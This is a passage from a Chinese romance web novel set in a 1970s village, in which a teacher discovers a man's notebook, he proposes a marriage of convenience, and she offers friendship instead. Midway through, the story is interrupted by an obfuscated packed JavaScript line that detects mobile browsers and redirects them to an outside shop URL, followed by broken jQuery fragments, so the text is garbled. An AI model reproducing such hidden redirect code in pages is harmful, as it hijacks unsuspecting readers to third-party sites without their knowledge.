她什么时候出门，走哪条路，会经过哪个路口……他把这些全都算出来了。
陈绍君忽然想起每天的“偶遇”。村口的槐树下、农机站门口、集市柜旁边、通向坡地的窄田埂上……她以为都是碰巧，以为村子就这么大，碰见谁都不奇怪。可他画了这么多图，标了这么多时间，改了这么多遍……
原来她眼中的每一回“凑巧”都是他算好了的。
陈绍君蹲在门槛边，手指按在那行字上，指尖微微发凉。傍晚的光把她半个身子照成暖橘色，她的脸背着光，看不清表情。过了很久，她把本子合上，攥在手心里站起来。
接下来的几天，许行简每天下班都来帮陈绍君挖排水沟。
他是当过兵的人，体力好，一个人干的活能三个陈绍君。所以陈绍君在旁边就负责递递工具——两个人配合默契。
她俩总在一块，村里人也开始议论。
“陈老师跟那个许知青，是不是在一起了？”
“天天一起干活，我看有戏。”
“许知青成分不好，陈老师不怕？”
“成分不好怎么了？人家有本事，读过书，又是退伍兵，我看挺好的。”
刘金玉听到这些议论，气得牙痒痒，这个骚蹄子，有钱有房子也就算了，现在连男人都是首都来的……但她不敢再惹陈绍君——马德胜的前车之鉴还在呢！
……
这几天，许行简收到了父母的回信。
信是他父亲顾怀远托人带出来的，字迹潦草，纸张也不平整，显然是在不怎么自由的环境下写的。
“行简：你的信我们收到了。你说你想倒插门，我跟你母亲很不理解，此事还需再三考虑。你之前说你想娶一个成分好的女同志，我们理解你的用心。但你要记住，婚姻不是交易。如果你只是因为成分而娶她，对她不公平，对你自己也不公平。我们虽然被审查，但我们问心无愧。你不要为了我们委屈自己。我跟你母亲只希望你幸福，找个自己喜欢的姑娘就好。如果你只是为了帮家里，务必不能惹上人家姑娘的一生。父亲字。”
许行简看完信之后，又想起陈绍君的脸。
他想娶她，从未变过。
……
第二天早上，陈绍君早早就出了门，她推着自行车从院子里出来，一迈向那条通向村小的路……果然，走了不到一百米，就看见许行简从知青住的平房里转出来。
陈绍君跨上车，从他身边骑过去的时候，笑嘻嘻地跟他打招呼。
“许行简，今天很早啊！”
“陈绍君。”他喊住了她。
“嗯？”她停下来
“我昨天掉了一个笔记本。你有没有看见？”
“哦？什么样的笔记本啊？”陈绍君明知故问。
“巴掌大小，牛皮纸封面。”他刻意的随意在他紧绷的语调里藏不住。
他垂着眼看她，又移开，喉结滚动，藏不住地紧张。
陈绍君假装想了一下，表情自然：“没看见。这本子重要吗？”
许行简摇了摇头，又点头：“挺重要的，记了很多跟农事有关的东西。”
陈绍君看着他那副明明心悬在半空还要装作若无其事的样子，心里那根弦轻轻被拨了一下。
“没看见。”她又笑着说了一遍，然后侧过身下了单车，让了让，“你要不要去我家找找？”
许行简摇了摇头拒绝：“不用了，你去上班吧，我也得去上工。”
他转身走了几步，又停下来，回头看了她一眼。像是想再问一句，又觉得再问就太刻意了。最后，他什么也没说，转回去继续走了。
陈绍君蹬起单车。慢慢弯了一下嘴角。
……
下午下了班，两个人又一起去地里送土，陈绍君觉得许行简的情绪有些不对。
他在挖排水沟，铁锹吃进土里，发出沉闷的噗声。以往他干活很利索，但今天却时不时地盯着脚下看。挖土时，手里的铁锹还差点铲到自己脚面上。陈绍君看见他猛地往后一缩，把铁锹头往旁边偏了半寸……
“许行简。你今天怎么了？”她忍不住开口。
他停住动作，把铁锹插在土里。地头的风从他身后吹过来，把裤腿吹得鼓起来又贴回去。
他看着她：“我有话跟你说。”
“说。”
“我想跟你结婚。”他停了一下，见她什么都没说，又补了一句，“我愿意倒插门。”
风忽然就停了。
陈绍君听见自己心脏在耳膜里跳的声音，咚咚咚的。她看他抿紧的嘴唇，突然就笑了。他的笑容很娇俏，嘴角往上挑着，眉毛也跟着动了一下。
“你喜欢我啊？”她问
他的声音闷闷的：“不只是因为喜欢。还因为成分，我需要……”
他说不下去了。
“你需要找一个成分好的结婚对象，帮你家减轻压力？”陈绍君替他把话说完，语气平平的，听不出喜怒。
他点头，又看向她。他的眼里有歉疚，有难堪，还有一丝小心翼翼藏着的期待。
陈绍君靠在铁锹上，铁锹把抵着她后背的骨头，硌得有点疼。她想了想，开口道：“许行简，其实你长得很像我认识的一个人……一个我再也见不到的人。”
他猛地抬头看她。脸色变了，他想起了这些时日缠绕他的梦，他有些犹豫地问：“你们……很亲密吗？”
陈绍君点了点头。她看着许行简的脸，继续说：“我可以答应跟你结婚。”她说。
许行简的眼睛亮了一下，但很快又暗下去。
因为她接着说：“你是为了成分，我是为了一张相似的脸。这是不纯粹的开始——我不想要这样的开始。”
她……不答应？
许行简面不改色，他一直觉得她是喜欢他的。
“那我们现在是什么关系？”他问。
“朋友啊！”她笑了一下，“我们真没到结婚那一步。先做朋友吧！”
他喉结滚了一下，嗓子里堵着的那团棉花像是化了，吐出来的时候，只有一个“好”字。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693877|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈绍君点点头：“那就行了。”
她弯腰把铁锹从土里拔出来，锹刃上的湿泥啪嗒掉了一块。她继续挖沟，铁锹吃进土里，噗，噗，噗，一下一下的，节奏匀称得像心跳。
许行简看着她弯腰干活。也抄起铁锹和她并排挖沟。
两个人谁都没再说话，只有铁锹翻土的声响在塬上传着，一下下砸进耳朵里，砸得空气越来越沉。
天摸黑的时候，沟挖完了。弯弯曲曲的一条，绕着坡地往下走。陈绍君直起腰，腰酸得厉害，她用手背捶了两下，看着那条沟，心里头熨帖。
沟壁铲得齐整，底也平，明儿再施一遍肥，撒几把种子，第一遍也算就稳了。
“明天再施一遍肥。”陈绍君说。
“嗯。”许行简应下。
“走吧，回去吃饭。请你吃鱼。”
上次他带来的那条大鱼，她没舍得一顿吃完，腌了半条，就挂在灶屋的房梁上。
许行简没拒绝。两个人并肩走在回村的路上，月亮从东边的山梁上爬出来，清冷冷的，光洒在村里的路上，泛着冷冷的白。两人的影子一左一右，挨得很近，中间却隔着一点缝隙。
那一寸空气，谁也没跨过去。
回到家，陈绍君把半条鱼从梁上取下来，又切了几片姜，搁锅里炖。鱼汤咕嘟咕嘟地翻着白泡，香气从锅盖缝里溢出来，把一屋子都熏暖了。她舀了两碗稠的，一人一碗，搁在矮桌上，筷子摆在碗沿上。
她去旁边的平房喊许行简的时候，他刚洗完澡，换了身干净衣服就跟她出来了。
这顿饭吃得很安静，快吃完的时候。许行简端起碗喝汤，陈绍君拿筷子夹鱼肉吃，忽然，她顿住了——一根细刺卡在喉咙口，不上不下的，咽不下去也吐不出来。她皱了皱眉，放下筷子，小声地咳。
“怎么了？”许行简放下碗。
“鱼刺……”她咳了两下，嗓子眼儿里那根刺扎得生疼，说话都变了调。
许行简站起来，绕过矮桌走到她身边。他弯下腰，伸手轻轻托住她的下巴。
“张嘴。”他说。
陈绍君张开嘴，油灯的光映在她脸上，把她眼里的水光也映出来了。他的手指探进来的时候，指腹很凉。
两个人隔得太近了。她能看见他眼神里一丝不苟的专注——那种专注让她的心口止不住地跳。他的手指在她喉咙口轻轻地捏着，寻找那根刺的位置，指腹蹭过她舌根的时候，她难受地推他。
“别动。”他说
她没再动。她看着他的睫毛，在油灯光里投下一小片阴影。那阴影颤了一下，他的指尖捏住了那根刺，慢慢地抽出来。鱼刺尖利，沾着血丝。
他红着耳朵直起身，把那根刺搁在桌沿上。然后他垂下眼睛，看着手指上的濡湿。
“我……我吃饱了。”他说话的声音发紧。
门被他推开又合上——他落荒而逃。
陈绍君听见他脚步声踢踏踢踏地消失在夜风里。她坐在矮桌前，屋里静得只剩灶膛里余火的噼啪声……